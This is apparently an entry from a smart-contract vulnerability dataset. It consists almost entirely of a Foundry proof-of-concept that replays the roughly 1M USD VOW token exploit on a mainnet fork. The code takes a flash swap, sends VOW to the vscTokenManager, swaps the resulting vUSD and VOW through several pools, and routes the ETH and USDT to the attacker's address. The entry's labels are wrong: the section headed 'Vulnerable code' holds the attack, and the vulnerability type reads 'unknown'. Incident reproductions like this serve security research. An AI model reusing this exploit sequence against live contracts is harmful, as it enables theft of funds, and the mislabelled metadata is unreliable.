HIGH severity: VOW exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~ 1M USD Attacker : https://etherscan.io/address/0x48de6bf9e301946b0a32b053804c61dc5f00c0c3 Attack Contract : https://etherscan.io/address/0xb7f221e373e3f44409f91c233477ec2859261758 Vulnerable Contract : https://etherscan.io/address/0x1bbf2

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "../basetest.sol";
import "../interface.sol";
import "forge-std/Test.sol";

// @KeyInfo - Total Lost : ~ 1M USD
// Attacker : https://etherscan.io/address/0x48de6bf9e301946b0a32b053804c61dc5f00c0c3
// Attack Contract : https://etherscan.io/address/0xb7f221e373e3f44409f91c233477ec2859261758
// Vulnerable Contract : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb
// Attack Tx : https://etherscan.io/tx/0x758efef41e60c0f218682e2fa027c54d8b67029d193dd7277d6a881a24b9a561

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x1bbf25e71ec48b84d773809b4ba55b6f4be946fb#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :
pragma solidity ^0.8.0;

contract VOW is BaseTestWithBalanceLog {
    uint256 blocknumToForkFrom = 20_519_309 - 1;

    address private constant VOW_WETH_Pair = 0x7FdEB46b3a0916630f36E886D675602b1007Fcbb;
    address private constant vUSD_VOW_Pair = 0x97BE09f2523B39B835Da9EA3857CfA1D3C660cBb;
    address private constant VOW_USDT_Pair = 0x1E49768714E438E789047f48FD386686a5707db2;

    address private constant vscTokenManager = 0x184497031808F2b6A2126886C712CC41f146E5dC;
    address private constant vow = 0x1BBf25e71EC48B84d773809B4bA55B6F4bE946Fb;
    address private constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address private constant vUSD = 0x0fc6C0465C9739d4a42dAca22eB3b2CB0Eb9937A;
    address private constant usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

    address private constant attacker = 0x48de6bF9e301946b0a32b053804c61DC5f00c0c3;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);

        vm.startPrank(attacker);
        IERC20(vow).approve(address(address(this)), type(uint256).max);
        IERC20(vUSD).approve(address(address(this)), type(uint256).max);
        vm.stopPrank();
    }

    function testExploit() public balanceLog {
        //implement exploit code here
        emit log_named_decimal_uint(
            "Before exploit VOW balance of attacker:", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()
        );
        emit log_named_decimal_uint(
            "Before exploit USDT balance of attacker:", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()
        );
        emit log_named_decimal_uint("Before exploit ETH balance of attacker:", attacker.balance, 18);

        uint256 vowBalance = IERC20(vow).balanceOf(VOW_WETH_Pair);
        Uni_Pair_V2(VOW_WETH_Pair).swap(vowBalance - 1, 0, address(this), hex"00");

        vowBalance = IERC20(vow).balanceOf(address(this));
        IERC20(vow).transfer(attacker, vowBalance / 10);
        (uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(VOW_WETH_Pair).getReserves();
        vowBalance = IERC20(vow).balanceOf(address(this));
        IERC20(vow).transfer(VOW_WETH_Pair, vowBalance / 2);

        uint256 amount0In = IERC20(vow).balanceOf(VOW_WETH_Pair) - reserve0;
        uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);
        Uni_Pair_V2(VOW_WETH_Pair).swap(0, amount1Out, address(this), hex"");
        IWETH(payable(weth)).withdraw(amount1Out);
        (bool success,) = attacker.call{value: amount1Out}("");
        require(success, "Fail to send eth");

        (reserve0, reserve1,) = Uni_Pair_V2(VOW_USDT_Pair).getReserves();
        IERC20(vow).transfer(VOW_USDT_Pair, IERC20(vow).balanceOf(address(this)));
        amount0In = IERC20(vow).balanceOf(VOW_USDT_Pair) - reserve0;
        amount1Out = getAmount1Out(reserve0, reserve1, amount0In);
        Uni_Pair_V2(VOW_USDT_Pair).swap(0, amount1Out, address(this), hex"");
        (success,) = usdt.call(
            abi.encodeWithSignature("transfer(address,uint256)", attacker, IERC20(usdt).balanceOf(address(this)))
        );
        require(success, "Fail to transfer USDT");

        emit log_named_decimal_uint(
            "After exploit: VOW balance of attacker:", IERC20(vow).balanceOf(attacker), IERC20(vow).decimals()
        );
        emit log_named_decimal_uint(
            "After exploit: USDT balance of attacker:", IERC20(usdt).balanceOf(attacker), IERC20(usdt).decimals()
        );
        emit log_named_decimal_uint("After exploit: ETH balance of attacker:", attacker.balance, 18);
    }

    function uniswapV2Call(address sender, uint256 amount0, uint256, bytes calldata) external {
        require(msg.sender == VOW_WETH_Pair, "not from pool");
        require(sender == address(this), "not from this contract");

        IERC20(vow).transfer(attacker, amount0);

        IERC20(vow).transferFrom(attacker, vscTokenManager, amount0);

        uint256 vUSDBalance = IERC20(vUSD).balanceOf(attacker);
        IERC20(vUSD).transferFrom(attacker, address(this), vUSDBalance);
        (uint112 reserve0, uint112 reserve1,) = Uni_Pair_V2(vUSD_VOW_Pair).getReserves();
        IERC20(vUSD).transfer(vUSD_VOW_Pair, vUSDBalance);

        uint256 amount0In = IERC20(vUSD).balanceOf(vUSD_VOW_Pair) - reserve0;
        uint256 amount1Out = getAmount1Out(reserve0, reserve1, amount0In);
        Uni_Pair_V2(vUSD_VOW_Pair).swap(0, amount1Out, address(this), hex"");

        uint256 fee = amount0 * 3 / 997 + 1000;
        uint256 amountToPay = amount0 + fee;
        IERC20(vow).transfer(VOW_WETH_Pair, amountToPay);
    }

    function getAmount1Out(uint112 reserve0, uint112 reserve1, uint256 amount0In) private pure returns (uint256) {
        return reserve1 * 997 * amount0In / (1000 * reserve0 + 997 * amount0In);
    }

    receive() external payable {}
}


Vulnerability type: unknown